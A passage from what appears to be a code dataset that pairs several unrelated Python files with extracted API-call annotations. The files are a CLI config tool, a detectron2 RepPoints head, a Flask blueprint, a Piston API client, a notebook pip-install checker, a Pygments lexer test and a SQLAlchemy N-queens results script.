] | [((479, 823), 'invenio_assets.NpmBundle', 'NpmBundle', (["('%s/inline.bundle.js' % EDITOR_PATH)", "('%s/polyfills.bundle.js' % EDITOR_PATH)", "('%s/vendor.bundle.js' % EDITOR_PATH)", "('%s/main.bundle.js' % EDITOR_PATH)"], {'depends': "('%s/*.js' % EDITOR_PATH)", 'filters': '"""uglifyjs"""', 'output': '"""gen/invenio-records-editor-js.%(version)s.js"""', 'npm': "{'@inveniosoftware/invenio-records-editor-js': '0.0.3'}"}), "('%s/inline.bundle.js' % EDITOR_PATH, '%s/polyfills.bundle.js' %\n EDITOR_PATH, '%s/vendor.bundle.js' % EDITOR_PATH, '%s/main.bundle.js' %\n EDITOR_PATH, depends='%s/*.js' % EDITOR_PATH, filters='uglifyjs',\n output='gen/invenio-records-editor-js.%(version)s.js', npm={\n '@inveniosoftware/invenio-records-editor-js': '0.0.3'})\n", (488, 823), False, 'from invenio_assets import NpmBundle\n'), ((905, 1033), 'flask_assets.Bundle', 'Bundle', (["('%s/styles.bundle.css' % EDITOR_PATH)"], {'filters': '"""cleancssurl"""', 'output': '"""gen/invenio-records-editor-js.%(version)s.css"""'}), "('%s/styles.bundle.css' % EDITOR_PATH, filters='cleancssurl', output=\n 'gen/invenio-records-editor-js.%(version)s.css')\n", (911, 1033), False, 'from flask_assets import Bundle\n')] |
import click
from omegaconf import OmegaConf
from mlad.cli import config
from mlad.cli.autocompletion import get_config_key_completion
from . import echo_exception
@click.command()
@click.option('--address', '-a', default='http://localhost:8440',
prompt='MLAppDeploy Service Address', help='Set service address')
@echo_exception
def init(address):
'''Initialize configurations'''
ret = config.init(address)
click.echo('Config created successfully.')
click.echo(OmegaConf.to_yaml(ret))
@click.command()
@click.argument('ARGS', required=True, nargs=-1, autocompletion=get_config_key_completion)
@echo_exception
def set(args):
'''Set configurations. [KEY=VALUE]...'''
config.set(*args)
click.echo('The config is successfully configured.')
@click.command()
@echo_exception
def get():
'''Get configurations'''
ret = config.get()
click.echo(OmegaConf.to_yaml(ret))
@click.command()
@click.option('--unset', '-u', is_flag=True)
@echo_exception
def env(unset):
'''To set environment variables, run "eval $(mlad config env)"'''
lines, msg = config.env(unset=unset)
for line in lines:
click.echo(line)
click.echo('')
click.echo(msg)
# @click.command()
# @click.option('--install', is_flag=True, help='Install shell-completion to shell(Linux Only)')
# @echo_exception
# def completion(install):
# '''Activate auto completion (Linux Only)'''
# shell = os.path.basename(os.environ.get('SHELL'))
# if shell in ['bash', 'zsh']:
# if install:
# utils.write_completion(shell)
# click.echo(f"Register \"source {utils.COMPLETION_FILE}\" to rc file.")
# else:
# completion_script = utils.get_completion(shell)
# click.echo(completion_script)
# click.echo("# To set environment variables, run \"eval \"$(mlad config completion)\"\"")
# else:
# click.echo(f'Cannot support shell [{shell}].\nSupported Shell: bash, zsh')
@click.group('config')
def cli():
'''Manage configuration'''
cli.add_command(init)
cli.add_command(set)
cli.add_command(get)
cli.add_command(env)
| [
"click.argument",
"click.option",
"click.group",
"omegaconf.OmegaConf.to_yaml",
"click.echo",
"mlad.cli.config.env",
"mlad.cli.config.set",
"mlad.cli.config.init",
"mlad.cli.config.get",
"click.command"
] | [((167, 182), 'click.command', 'click.command', ([], {}), '()\n', (180, 182), False, 'import click\n'), ((184, 319), 'click.option', 'click.option', (['"""--address"""', '"""-a"""'], {'default': '"""http://localhost:8440"""', 'prompt': '"""MLAppDeploy Service Address"""', 'help': '"""Set service address"""'}), "('--address', '-a', default='http://localhost:8440', prompt=\n 'MLAppDeploy Service Address', help='Set service address')\n", (196, 319), False, 'import click\n'), ((520, 535), 'click.command', 'click.command', ([], {}), '()\n', (533, 535), False, 'import click\n'), ((537, 631), 'click.argument', 'click.argument', (['"""ARGS"""'], {'required': '(True)', 'nargs': '(-1)', 'autocompletion': 'get_config_key_completion'}), "('ARGS', required=True, nargs=-1, autocompletion=\n get_config_key_completion)\n", (551, 631), False, 'import click\n'), ((785, 800), 'click.command', 'click.command', ([], {}), '()\n', (798, 800), False, 'import click\n'), ((922, 937), 'click.command', 'click.command', ([], {}), '()\n', (935, 937), False, 'import click\n'), ((939, 982), 'click.option', 'click.option', (['"""--unset"""', '"""-u"""'], {'is_flag': '(True)'}), "('--unset', '-u', is_flag=True)\n", (951, 982), False, 'import click\n'), ((1993, 2014), 'click.group', 'click.group', (['"""config"""'], {}), "('config')\n", (2004, 2014), False, 'import click\n'), ((410, 430), 'mlad.cli.config.init', 'config.init', (['address'], {}), '(address)\n', (421, 430), False, 'from mlad.cli import config\n'), ((435, 477), 'click.echo', 'click.echo', (['"""Config created successfully."""'], {}), "('Config created successfully.')\n", (445, 477), False, 'import click\n'), ((707, 724), 'mlad.cli.config.set', 'config.set', (['*args'], {}), '(*args)\n', (717, 724), False, 'from mlad.cli import config\n'), ((729, 781), 'click.echo', 'click.echo', (['"""The config is successfully configured."""'], {}), "('The config is successfully configured.')\n", (739, 781), False, 'import click\n'), ((867, 879), 'mlad.cli.config.get', 'config.get', ([], {}), '()\n', (877, 879), False, 'from mlad.cli import config\n'), ((1102, 1125), 'mlad.cli.config.env', 'config.env', ([], {'unset': 'unset'}), '(unset=unset)\n', (1112, 1125), False, 'from mlad.cli import config\n'), ((1178, 1192), 'click.echo', 'click.echo', (['""""""'], {}), "('')\n", (1188, 1192), False, 'import click\n'), ((1197, 1212), 'click.echo', 'click.echo', (['msg'], {}), '(msg)\n', (1207, 1212), False, 'import click\n'), ((493, 515), 'omegaconf.OmegaConf.to_yaml', 'OmegaConf.to_yaml', (['ret'], {}), '(ret)\n', (510, 515), False, 'from omegaconf import OmegaConf\n'), ((895, 917), 'omegaconf.OmegaConf.to_yaml', 'OmegaConf.to_yaml', (['ret'], {}), '(ret)\n', (912, 917), False, 'from omegaconf import OmegaConf\n'), ((1157, 1173), 'click.echo', 'click.echo', (['line'], {}), '(line)\n', (1167, 1173), False, 'import click\n')] |
from typing import List,Dict
import torch
from torch import nn
import numpy as np
from torch.nn import functional as F
from functools import partial
from detectron2.config import configurable
from detectron2.layers import Conv2d, ConvTranspose2d, cat, interpolate, DeformConv
from detectron2.structures import Instances, heatmaps_to_keypoints
from detectron2.utils.events import get_event_storage
from detectron2.utils.registry import Registry
#from fvcore.nn import sigmoid_focal_loss_jit
REPPOINT_HEAD_REGISTRY = Registry("REPPOINT_HEAD")
REPPOINT_HEAD_REGISTRY.__doc__ = ""
# copy from mmcv
def normal_init(module, mean=0.0, std=1.0, bias=0.0):
if isinstance(module,nn.GroupNorm):
return
if hasattr(module, 'weight') and module.weight is not None:
nn.init.normal_(module.weight, mean, std)
if hasattr(module, 'bias') and module.bias is not None:
nn.init.constant_(module.bias, bias)
def bias_init_with_prob(prior_prob):
"""initialize conv/fc bias value according to giving probability."""
bias_init = float(-np.log((1 - prior_prob) / prior_prob))
return bias_init
def multi_apply(func, *args, **kwargs):
"""Apply function to a list of arguments
Note:
This function applies the ``func`` to multiple inputs and
map the multiple outputs of the ``func`` into different
list. Each list contains the same type of outputs corresponding
to different inputs.
Args:
func (Function): A function that will be applied to a list of
arguments
Returns:
tuple(list): A tuple containing multiple list, each list contains
a kind of returned results by the function
"""
pfunc = partial(func, **kwargs) if kwargs else func
map_results = map(pfunc, *args)
return tuple(map(list, zip(*map_results)))
def build_reppoint_heads(cfg):
"""
Build a keypoint head from `cfg.MODEL.ROI_KEYPOINT_HEAD.NAME`.
"""
name = cfg.MODEL.REPPOINT_HEAD.NAME
return REPPOINT_HEAD_REGISTRY.get(name)(cfg)
@REPPOINT_HEAD_REGISTRY.register()
class ReppointHead(nn.Module):
"""
Implement the basic Keypoint R-CNN losses and inference logic described in
Sec. 5 of :paper:`Mask R-CNN`.
"""
@configurable
def __init__(self,*,
num_classes,
in_channels,
point_feat_channels=256,
feat_channels=256,
stacked_convs=4,
num_points=9,
gradient_mul=0.1,
use_grid_points=False,
center_init=True,
**kwargs):
# TODO: losses will set in loss.py
'''
Args:
num_classes: num of pred classes
in_channels: num of input image channal
stacked_convs: num of convs used for feature extraction
feat_channels: num of conv feature
point_feat_channels: num of dim of points features
num_points: how much points used to fit an object
gradient_mul:
point_strides:
point_base_scale:
use_grid_points:
center_init:
transform_method:
moment_mul:
**kwargs:
'''
super(ReppointHead, self).__init__()
self.num_classes = num_classes
self.cls_out_channels = self.num_classes
self.in_channels = in_channels
self.num_points = num_points
self.point_feat_channels = point_feat_channels
self.stacked_convs = stacked_convs
self.feat_channels = feat_channels
self.use_grid_points = use_grid_points
self.center_init = center_init
# we use deformable conv to extract points features
self.dcn_kernel = int(np.sqrt(num_points))
self.dcn_pad = int((self.dcn_kernel - 1) / 2)
assert self.dcn_kernel * self.dcn_kernel == num_points, \
'The points number should be a square number.'
assert self.dcn_kernel % 2 == 1, \
'The points number should be an odd square number.'
dcn_base = np.arange(-self.dcn_pad,
self.dcn_pad + 1).astype(np.float64)
# [-1. 0. 1.]
dcn_base_y = np.repeat(dcn_base, self.dcn_kernel)
#[-1. - 1. - 1. 0. 0. 0. 1. 1. 1.]
dcn_base_x = np.tile(dcn_base, self.dcn_kernel)
#[-1. 0. 1. -1. 0. 1. -1. 0. 1.]
dcn_base_offset = np.stack([dcn_base_y, dcn_base_x], axis=1).reshape(
(-1))
#[-1. - 1. - 1. 0. - 1. 1. 0. - 1. 0. 0. 0. 1. 1. - 1. 1. 0. 1. 1.]
self.dcn_base_offset = torch.tensor(dcn_base_offset).view(1, -1, 1, 1)
# layers
self.relu = nn.ReLU(inplace=True)
self.cls_convs = []
self.reg_convs = []
for i in range(self.stacked_convs):
chn = self.in_channels if i == 0 else self.feat_channels
self.cls_convs.append(
nn.Conv2d(
chn,
self.feat_channels,
3,
stride=1,
padding=1))
self.cls_convs.append(nn.GroupNorm(32,self.feat_channels))
self.cls_convs.append(nn.ReLU(inplace=True))
self.reg_convs.append(
nn.Conv2d(
chn,
self.feat_channels,
3,
stride=1,
padding=1))
self.reg_convs.append(nn.GroupNorm(32,self.feat_channels))
self.reg_convs.append(nn.ReLU(inplace=True))
self.cls_convs = nn.Sequential(*self.cls_convs)
self.reg_convs = nn.Sequential(*self.reg_convs)
pts_out_dim = 4 if self.use_grid_points else 2 * self.num_points
self.reppoints_cls_conv = DeformConv(self.feat_channels,
self.point_feat_channels,
self.dcn_kernel, 1, self.dcn_pad)
self.reppoints_cls_out = nn.Conv2d(self.point_feat_channels,
self.cls_out_channels, 1, 1, 0)
self.reppoints_pts_init_conv = nn.Conv2d(self.feat_channels,
self.point_feat_channels, 3,
1, 1)
self.reppoints_pts_init_out = nn.Conv2d(self.point_feat_channels,
pts_out_dim, 1, 1, 0)
self.reppoints_pts_refine_conv = DeformConv(self.feat_channels,
self.point_feat_channels,
self.dcn_kernel, 1,
self.dcn_pad)
self.reppoints_pts_refine_out = nn.Conv2d(self.point_feat_channels,
pts_out_dim, 1, 1, 0)
# init weight
for m in self.cls_convs:
normal_init(m, std=0.01)
for m in self.reg_convs:
normal_init(m, std=0.01)
bias_cls = bias_init_with_prob(0.01)
normal_init(self.reppoints_cls_conv, std=0.01)
normal_init(self.reppoints_cls_out, std=0.01, bias=bias_cls)
normal_init(self.reppoints_pts_init_conv, std=0.01)
normal_init(self.reppoints_pts_init_out, std=0.01)
normal_init(self.reppoints_pts_refine_conv, std=0.01)
normal_init(self.reppoints_pts_refine_out, std=0.01)
self.gradient_mul = gradient_mul
self.cls_out_channels = self.num_classes
@classmethod
def from_config(cls, cfg):
ret = {
"num_classes":cfg.MODEL.REPPOINT_HEAD.NUM_CLASS,
"in_channels":cfg.MODEL.REPPOINT_HEAD.IN_CHANNEL,
"point_feat_channels" : cfg.MODEL.REPPOINT_HEAD.POINT_FEATURE_CHANNEL,
"feat_channels": cfg.MODEL.REPPOINT_HEAD.FEATURE_CHANNEL,
"stacked_convs": cfg.MODEL.REPPOINT_HEAD.STACKED_CONVS,
"num_points": cfg.MODEL.REPPOINT_HEAD.NUM_POINTS,
"gradient_mul": cfg.MODEL.REPPOINT_HEAD.GRADIENT_MUL,
"use_grid_points": cfg.MODEL.REPPOINT_HEAD.USE_GRID_POINTS,
"center_init": cfg.MODEL.REPPOINT_HEAD.CENTER_INIT
}
return ret
def forward_single(self, x):
""" Forward feature map of a single FPN level."""
dcn_base_offset = self.dcn_base_offset.type_as(x)
# If we use center_init, the initial reppoints is from center points.
# If we use bounding bbox representation, the initial reppoints is
# from regular grid placed on a pre-defined bbox.
if self.use_grid_points or not self.center_init:
scale = self.point_base_scale / 2
points_init = dcn_base_offset / dcn_base_offset.max() * scale
bbox_init = x.new_tensor([-scale, -scale, scale,
scale]).view(1, 4, 1, 1)
else:
points_init = 0
cls_feat = x
pts_feat = x
cls_feat = self.cls_convs(cls_feat)
pts_feat = self.reg_convs(pts_feat)
# initialize reppoints
pts_out_init = self.reppoints_pts_init_out(
self.relu(self.reppoints_pts_init_conv(pts_feat)))
pts_out_init = pts_out_init + points_init
# refine and classify reppoints
# TODO: why use grad_mul?
pts_out_init_grad_mul = (1 - self.gradient_mul) * pts_out_init.detach(
) + self.gradient_mul * pts_out_init
dcn_offset = pts_out_init_grad_mul - dcn_base_offset
cls_out = self.reppoints_cls_out(
self.relu(self.reppoints_cls_conv(cls_feat, dcn_offset)))
pts_out_refine = self.reppoints_pts_refine_out(
self.relu(self.reppoints_pts_refine_conv(pts_feat, dcn_offset)))
pts_out_refine = pts_out_refine + pts_out_init.detach()
#cls_out = self.softmax(cls_out)
#print(pts_out_refine.size())
#print(pts_out_init.size())
return cls_out, pts_out_init, pts_out_refine
def forward(self,x):
return multi_apply(self.forward_single,x) | [
"numpy.tile",
"torch.nn.ReLU",
"torch.nn.GroupNorm",
"numpy.repeat",
"numpy.sqrt",
"torch.nn.init.constant_",
"numpy.arange",
"torch.nn.Sequential",
"detectron2.layers.DeformConv",
"numpy.log",
"torch.nn.Conv2d",
"numpy.stack",
"torch.tensor",
"detectron2.utils.registry.Registry",
"funct... | [((531, 556), 'detectron2.utils.registry.Registry', 'Registry', (['"""REPPOINT_HEAD"""'], {}), "('REPPOINT_HEAD')\n", (539, 556), False, 'from detectron2.utils.registry import Registry\n'), ((803, 844), 'torch.nn.init.normal_', 'nn.init.normal_', (['module.weight', 'mean', 'std'], {}), '(module.weight, mean, std)\n', (818, 844), False, 'from torch import nn\n'), ((915, 951), 'torch.nn.init.constant_', 'nn.init.constant_', (['module.bias', 'bias'], {}), '(module.bias, bias)\n', (932, 951), False, 'from torch import nn\n'), ((1774, 1797), 'functools.partial', 'partial', (['func'], {}), '(func, **kwargs)\n', (1781, 1797), False, 'from functools import partial\n'), ((4386, 4422), 'numpy.repeat', 'np.repeat', (['dcn_base', 'self.dcn_kernel'], {}), '(dcn_base, self.dcn_kernel)\n', (4395, 4422), True, 'import numpy as np\n'), ((4495, 4529), 'numpy.tile', 'np.tile', (['dcn_base', 'self.dcn_kernel'], {}), '(dcn_base, self.dcn_kernel)\n', (4502, 4529), True, 'import numpy as np\n'), ((4886, 4907), 'torch.nn.ReLU', 'nn.ReLU', ([], {'inplace': '(True)'}), '(inplace=True)\n', (4893, 4907), False, 'from torch import nn\n'), ((5809, 5839), 'torch.nn.Sequential', 'nn.Sequential', (['*self.cls_convs'], {}), '(*self.cls_convs)\n', (5822, 5839), False, 'from torch import nn\n'), ((5866, 5896), 'torch.nn.Sequential', 'nn.Sequential', (['*self.reg_convs'], {}), '(*self.reg_convs)\n', (5879, 5896), False, 'from torch import nn\n'), ((6006, 6100), 'detectron2.layers.DeformConv', 'DeformConv', (['self.feat_channels', 'self.point_feat_channels', 'self.dcn_kernel', '(1)', 'self.dcn_pad'], {}), '(self.feat_channels, self.point_feat_channels, self.dcn_kernel, 1,\n self.dcn_pad)\n', (6016, 6100), False, 'from detectron2.layers import Conv2d, ConvTranspose2d, cat, interpolate, DeformConv\n'), ((6223, 6290), 'torch.nn.Conv2d', 'nn.Conv2d', (['self.point_feat_channels', 'self.cls_out_channels', '(1)', '(1)', '(0)'], {}), '(self.point_feat_channels, self.cls_out_channels, 1, 1, 0)\n', (6232, 6290), False, 'from torch import nn\n'), ((6375, 6439), 'torch.nn.Conv2d', 'nn.Conv2d', (['self.feat_channels', 'self.point_feat_channels', '(3)', '(1)', '(1)'], {}), '(self.feat_channels, self.point_feat_channels, 3, 1, 1)\n', (6384, 6439), False, 'from torch import nn\n'), ((6579, 6636), 'torch.nn.Conv2d', 'nn.Conv2d', (['self.point_feat_channels', 'pts_out_dim', '(1)', '(1)', '(0)'], {}), '(self.point_feat_channels, pts_out_dim, 1, 1, 0)\n', (6588, 6636), False, 'from torch import nn\n'), ((6728, 6822), 'detectron2.layers.DeformConv', 'DeformConv', (['self.feat_channels', 'self.point_feat_channels', 'self.dcn_kernel', '(1)', 'self.dcn_pad'], {}), '(self.feat_channels, self.point_feat_channels, self.dcn_kernel, 1,\n self.dcn_pad)\n', (6738, 6822), False, 'from detectron2.layers import Conv2d, ConvTranspose2d, cat, interpolate, DeformConv\n'), ((7019, 7076), 'torch.nn.Conv2d', 'nn.Conv2d', (['self.point_feat_channels', 'pts_out_dim', '(1)', '(1)', '(0)'], {}), '(self.point_feat_channels, pts_out_dim, 1, 1, 0)\n', (7028, 7076), False, 'from torch import nn\n'), ((1092, 1129), 'numpy.log', 'np.log', (['((1 - prior_prob) / prior_prob)'], {}), '((1 - prior_prob) / prior_prob)\n', (1098, 1129), True, 'import numpy as np\n'), ((3915, 3934), 'numpy.sqrt', 'np.sqrt', (['num_points'], {}), '(num_points)\n', (3922, 3934), True, 'import numpy as np\n'), ((4247, 4289), 'numpy.arange', 'np.arange', (['(-self.dcn_pad)', '(self.dcn_pad + 1)'], {}), '(-self.dcn_pad, self.dcn_pad + 1)\n', (4256, 4289), True, 'import numpy as np\n'), ((4605, 4647), 'numpy.stack', 'np.stack', (['[dcn_base_y, dcn_base_x]'], {'axis': '(1)'}), '([dcn_base_y, dcn_base_x], axis=1)\n', (4613, 4647), True, 'import numpy as np\n'), ((4797, 4826), 'torch.tensor', 'torch.tensor', (['dcn_base_offset'], {}), '(dcn_base_offset)\n', (4809, 4826), False, 'import torch\n'), ((5134, 5192), 'torch.nn.Conv2d', 'nn.Conv2d', (['chn', 'self.feat_channels', '(3)'], {'stride': '(1)', 'padding': '(1)'}), '(chn, self.feat_channels, 3, stride=1, padding=1)\n', (5143, 5192), False, 'from torch import nn\n'), ((5335, 5371), 'torch.nn.GroupNorm', 'nn.GroupNorm', (['(32)', 'self.feat_channels'], {}), '(32, self.feat_channels)\n', (5347, 5371), False, 'from torch import nn\n'), ((5407, 5428), 'torch.nn.ReLU', 'nn.ReLU', ([], {'inplace': '(True)'}), '(inplace=True)\n', (5414, 5428), False, 'from torch import nn\n'), ((5485, 5543), 'torch.nn.Conv2d', 'nn.Conv2d', (['chn', 'self.feat_channels', '(3)'], {'stride': '(1)', 'padding': '(1)'}), '(chn, self.feat_channels, 3, stride=1, padding=1)\n', (5494, 5543), False, 'from torch import nn\n'), ((5686, 5722), 'torch.nn.GroupNorm', 'nn.GroupNorm', (['(32)', 'self.feat_channels'], {}), '(32, self.feat_channels)\n', (5698, 5722), False, 'from torch import nn\n'), ((5758, 5779), 'torch.nn.ReLU', 'nn.ReLU', ([], {'inplace': '(True)'}), '(inplace=True)\n', (5765, 5779), False, 'from torch import nn\n')] |
"""handle requests relative to mu-calculus checking"""
from flask import Blueprint, Response, request
import json
from base.webserver_utils import apply_on_node
import flex
from flex.loading.schema.paths.path_item.operation.responses.single.schema\
import schema_validator
import os
import subprocess
mu_blueprint = Blueprint("mu_blueprint", __name__)
@mu_blueprint.route("/graph/check/", methods=["GET"])
@mu_blueprint.route("/graph/check/<path:path_to_graph>", methods=["GET"])
def check(path_to_graph=""):
def check_aux(graph_id):
rep = mu_blueprint.hie().check_all_ancestors(graph_id)
print(rep)
resp = Response(response=json.dumps(rep),
status=200,
mimetype="application/json")
return resp
return apply_on_node(mu_blueprint.hie(), mu_blueprint.top,
path_to_graph, check_aux)
| [
"json.dumps",
"flask.Blueprint"
] | [((324, 359), 'flask.Blueprint', 'Blueprint', (['"""mu_blueprint"""', '__name__'], {}), "('mu_blueprint', __name__)\n", (333, 359), False, 'from flask import Blueprint, Response, request\n'), ((663, 678), 'json.dumps', 'json.dumps', (['rep'], {}), '(rep)\n', (673, 678), False, 'import json\n')] |
import json
import random
import sys
import requests
from rich.console import Console
from piston.utils.constants import PistonQuery, SPINNERS
def query_piston(console: Console, payload: PistonQuery) -> dict:
"""Send a post request to the piston API with the code parameter."""
output_json = {
"language": payload.language,
"source": payload.code,
"args": payload.args,
"stdin": payload.stdin,
}
with console.status("Compiling", spinner=random.choice(SPINNERS)):
try:
return requests.post(
url="https://emkc.org/api/v1/piston/execute",
data=json.dumps(output_json),
timeout=3,
).json()
except requests.exceptions.Timeout:
sys.exit(
"Connection timed out. Please check your connection and try again."
)
except requests.exceptions.RequestException as e:
raise SystemExit(e)
| [
"json.dumps",
"random.choice",
"sys.exit"
] | [((490, 513), 'random.choice', 'random.choice', (['SPINNERS'], {}), '(SPINNERS)\n', (503, 513), False, 'import random\n'), ((775, 852), 'sys.exit', 'sys.exit', (['"""Connection timed out. Please check your connection and try again."""'], {}), "('Connection timed out. Please check your connection and try again.')\n", (783, 852), False, 'import sys\n'), ((646, 669), 'json.dumps', 'json.dumps', (['output_json'], {}), '(output_json)\n', (656, 669), False, 'import json\n')] |
"""Enforce adding a pip install statement in the notebook.
In the `compwa-org repo <https://github.com/ComPWA/compwa-org>_`, notebooks
should specify which package versions should be used to run the notebook. This
hook checks whether a notebook has such install statements and whether they
comply with the expected formatting.
"""
import argparse
import sys
from typing import List, Optional, Sequence
import nbformat
from .errors import PrecommitError
__PIP_INSTALL_STATEMENT = "%pip install -q "
def check_pinned_requirements(filename: str) -> None:
notebook = nbformat.read(filename, as_version=nbformat.NO_CONVERT)
for cell in notebook["cells"]:
if cell["cell_type"] != "code":
continue
source: str = cell["source"]
src_lines = source.split("\n")
if len(src_lines) == 0:
continue
src_lines = list(map(lambda s: s.strip("\\"), src_lines))
cell_content = "".join(src_lines)
if not cell_content.startswith(__PIP_INSTALL_STATEMENT):
continue
__check_install_statement(filename, cell_content)
__check_requirements(filename, cell_content)
__check_metadata(filename, cell["metadata"])
return
raise PrecommitError(
f'Notebook "{filename}" does not contain a pip install cell of the'
f" form {__PIP_INSTALL_STATEMENT}some-package==0.1.0 package2==3.2"
)
def __check_install_statement(filename: str, install_statement: str) -> None:
if not install_statement.startswith(__PIP_INSTALL_STATEMENT):
raise PrecommitError(
f"First shell cell in notebook {filename} does not start with"
f" {__PIP_INSTALL_STATEMENT}"
)
if install_statement.endswith("/dev/null"):
raise PrecommitError(
"Remove the /dev/null from the pip install statement in notebook"
f" {filename}"
)
def __check_requirements( # noqa: R701
filename: str, install_statement: str
) -> None:
package_listing = install_statement.replace(__PIP_INSTALL_STATEMENT, "")
requirements = package_listing.split(" ")
if len(requirements) == 0:
raise PrecommitError(
f'At least one dependency required in install cell of "{filename}"'
)
for requirement in requirements:
requirement = requirement.strip()
if not requirement:
continue
if requirement.startswith("git+"):
continue
if "==" not in requirement:
raise PrecommitError(
f'Install cell in notebook "{filename}" contains a'
f" requirement without == ({requirement})"
)
requirements_lower = [
r.lower() for r in requirements if not r.startswith("git+")
]
if sorted(requirements_lower) != requirements_lower:
sorted_requirements = " ".join(sorted(requirements))
raise PrecommitError(
f'Requirements in notebook "{filename}"'
" are not sorted alphabetically. Should be:\n\n "
f" {sorted_requirements}"
)
def __check_metadata(filename: str, metadata: dict) -> None:
source_hidden = metadata.get("jupyter", {}).get("source_hidden")
if not source_hidden:
raise PrecommitError(
f'Install cell in notebook "{filename}" is not hidden'
)
tags = metadata.get("tags")
expected_tag = "hide-cell"
if tags is None or expected_tag not in tags:
raise PrecommitError(
f'Install cell in notebook "{filename}" should have tag'
f' "{expected_tag}"'
)
if "remove-cell" in tags:
raise PrecommitError(
f'Install cell in notebook "{filename}" has tag "remove-cell"'
)
def main(argv: Optional[Sequence[str]] = None) -> int:
parser = argparse.ArgumentParser(__doc__)
parser.add_argument("filenames", nargs="*", help="Filenames to check.")
args = parser.parse_args(argv)
errors: List[PrecommitError] = []
for filename in args.filenames:
try:
check_pinned_requirements(filename)
except PrecommitError as exception:
errors.append(exception)
if errors:
for error in errors:
error_msg = "\n ".join(error.args)
print(error_msg)
return 1
return 0
if __name__ == "__main__":
sys.exit(main())
| [
"nbformat.read",
"argparse.ArgumentParser"
] | [((574, 629), 'nbformat.read', 'nbformat.read', (['filename'], {'as_version': 'nbformat.NO_CONVERT'}), '(filename, as_version=nbformat.NO_CONVERT)\n', (587, 629), False, 'import nbformat\n'), ((3828, 3860), 'argparse.ArgumentParser', 'argparse.ArgumentParser', (['__doc__'], {}), '(__doc__)\n', (3851, 3860), False, 'import argparse\n')] |
# -*- coding: utf-8 -*-
"""
Test and look for unknown tokens using PromQLLexer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:copyright: Copyright 2006-2020 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
from pygments.lexers import get_lexer_by_name
from pygments.token import Error
def test_unknown_tokens():
with open("tests/example.promql") as f:
text = f.read()
lx = get_lexer_by_name("promql")
ntext = []
for token_type, value in lx.get_tokens(text):
ntext.append(value)
assert (
token_type != Error
), "lexer %s generated error token: %r at position %d: %s" % (
lx,
value,
len(u"".join(ntext)),
u"".join(ntext),
)
| [
"pygments.lexers.get_lexer_by_name"
] | [((443, 470), 'pygments.lexers.get_lexer_by_name', 'get_lexer_by_name', (['"""promql"""'], {}), "('promql')\n", (460, 470), False, 'from pygments.lexers import get_lexer_by_name\n')] |
from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger
from sqlalchemy.orm import mapper, sessionmaker
class Solucion(object):
pass
class Resultado(object):
__tablename__ = 'resultados'
id = Column(Integer, primary_key=True)
numero_reinas = Column(Integer)
resultado = Column(Text)
fecha_ejecucion = Column(DateTime(timezone=True))
numero_resultados = Column(BigInteger)
def __init__(self,numero_reinas,resultado,numero_resultados):
self.numero_reinas = numero_reinas
self.resultado = resultado
self.numero_resultados = numero_resultados
def loadSession():
engine = create_engine('postgresql+psycopg2://postgres:1qwerty7@database:5432/queen')
metadata = MetaData(engine)
tabla_soluciones = Table('soluciones_conocidas', metadata, autoload=True)
tabla_resultados = Table('resultados', metadata, autoload=True)
mapper(Solucion, tabla_soluciones)
mapper(Resultado, tabla_resultados)
Session = sessionmaker(bind=engine)
session = Session()
return session
def num_soluciones(numero, session):
res = session.query(Solucion).filter(Solucion.numero_reinas==numero).all()
num_soluciones = res[0].soluciones
return num_soluciones
def guarda_solucion(resultado, session):
session.add(resultado)
session.commit()
session.refresh(resultado)
if __name__ == "__main__":
session = loadSession()
num_soluciones(7, session)
#res = session.query(Solucion).filter(Solucion.numero_reinas==7).all()
#res2 = session.query(Resultado).all()
sol = num_soluciones(7, session)
print(sol)
result = Resultado(numero_reinas=1,resultado='', numero_resultados=0)
#guarda_solucion(result, session)
#print(result.id) | [
"sqlalchemy.orm.sessionmaker",
"sqlalchemy.Table",
"sqlalchemy.DateTime",
"sqlalchemy.orm.mapper",
"sqlalchemy.create_engine",
"sqlalchemy.MetaData",
"sqlalchemy.Column"
] | [((260, 293), 'sqlalchemy.Column', 'Column', (['Integer'], {'primary_key': '(True)'}), '(Integer, primary_key=True)\n', (266, 293), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((314, 329), 'sqlalchemy.Column', 'Column', (['Integer'], {}), '(Integer)\n', (320, 329), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((346, 358), 'sqlalchemy.Column', 'Column', (['Text'], {}), '(Text)\n', (352, 358), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((437, 455), 'sqlalchemy.Column', 'Column', (['BigInteger'], {}), '(BigInteger)\n', (443, 455), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((691, 767), 'sqlalchemy.create_engine', 'create_engine', (['"""postgresql+psycopg2://postgres:1qwerty7@database:5432/queen"""'], {}), "('postgresql+psycopg2://postgres:1qwerty7@database:5432/queen')\n", (704, 767), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((783, 799), 'sqlalchemy.MetaData', 'MetaData', (['engine'], {}), '(engine)\n', (791, 799), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((823, 877), 'sqlalchemy.Table', 'Table', (['"""soluciones_conocidas"""', 'metadata'], {'autoload': '(True)'}), "('soluciones_conocidas', metadata, autoload=True)\n", (828, 877), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((901, 945), 'sqlalchemy.Table', 'Table', (['"""resultados"""', 'metadata'], {'autoload': '(True)'}), "('resultados', metadata, autoload=True)\n", (906, 945), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n'), ((950, 984), 'sqlalchemy.orm.mapper', 'mapper', (['Solucion', 'tabla_soluciones'], {}), '(Solucion, tabla_soluciones)\n', (956, 984), False, 'from sqlalchemy.orm import mapper, sessionmaker\n'), ((989, 1024), 'sqlalchemy.orm.mapper', 'mapper', (['Resultado', 'tabla_resultados'], {}), '(Resultado, tabla_resultados)\n', (995, 1024), False, 'from sqlalchemy.orm import mapper, sessionmaker\n'), ((1039, 1064), 'sqlalchemy.orm.sessionmaker', 